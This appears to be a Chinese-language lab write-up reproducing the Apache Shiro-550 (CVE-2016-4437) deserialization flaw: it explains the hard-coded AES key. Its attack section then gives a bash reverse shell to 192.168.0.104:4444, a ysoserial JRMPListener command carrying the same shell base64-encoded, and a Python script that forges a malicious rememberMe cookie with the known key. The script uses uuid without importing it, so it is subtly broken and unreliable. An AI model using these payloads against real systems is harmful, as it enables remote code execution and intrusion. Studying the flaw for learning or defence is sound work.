一、Shiro-550 CVE-2016-4437
前言
这是个非常经典的漏洞,对于学习反序列化和利用还是挺有帮助的,也学习下这个玩意是什么,怎么用以及多接触下涉及到的安全问题。
什么是shiro?
大白话理解,这是一个用于身份认证、鉴权、加密和会话管理的开源安全框架,详细的可以看这篇文章,不重复造轮子:https://zhuanlan.zhihu.com/p/54176956
漏洞复现环境搭建
直接拖个现有的docker环境下来,直接是免安装版:
打开浏览器发现正常访问说明成功:
漏洞原理
这个漏洞本质上是因为AES使用了硬编码的key值导致我们可以构造任意的Readme的值,进行反序列化操作从而执行任意代码导致的,具体代码在这里getRememberedPrincipals:
首先知道是在CookieRememberMeManager这个类中:
getRememberedSerializedIdentity获取到序列化后的字符串然后进入到convertBytesToPrincipal函数
这里很明显可以看到先解密再反序列化deserialize的操作,这里解密的key就是前面的kPH+bIxk5D2deZiIxcaaaA==解密一下得到的值:
可以看到key就是个base64加密后的字符串
继续跟踪可以知道这是个AES-CBC模式
然后iv计算在这里:
再来看看反序列化的操作:
可以看到确实也是调用了readObject方法。
攻击
监听本地端口4444:
netcat -lvp 4444
用啄木鸟生成payload:
bash -i >& /dev/tcp/192.168.0.104/4444 0>&1
监听6666端口:
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections4 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTA0LzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}'
python3脚本:
import sys
import base64
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):
popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
iv = uuid.uuid4().bytes
encryptor = AES.new(key, AES.MODE_CBC, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext
if __name__ == '__main__':
payload = encode_rememberme(sys.argv[1])
print("rememberMe={0}".format(payload.decode()))
运行python3 test.py 192.168.0.104:6666
最后发包: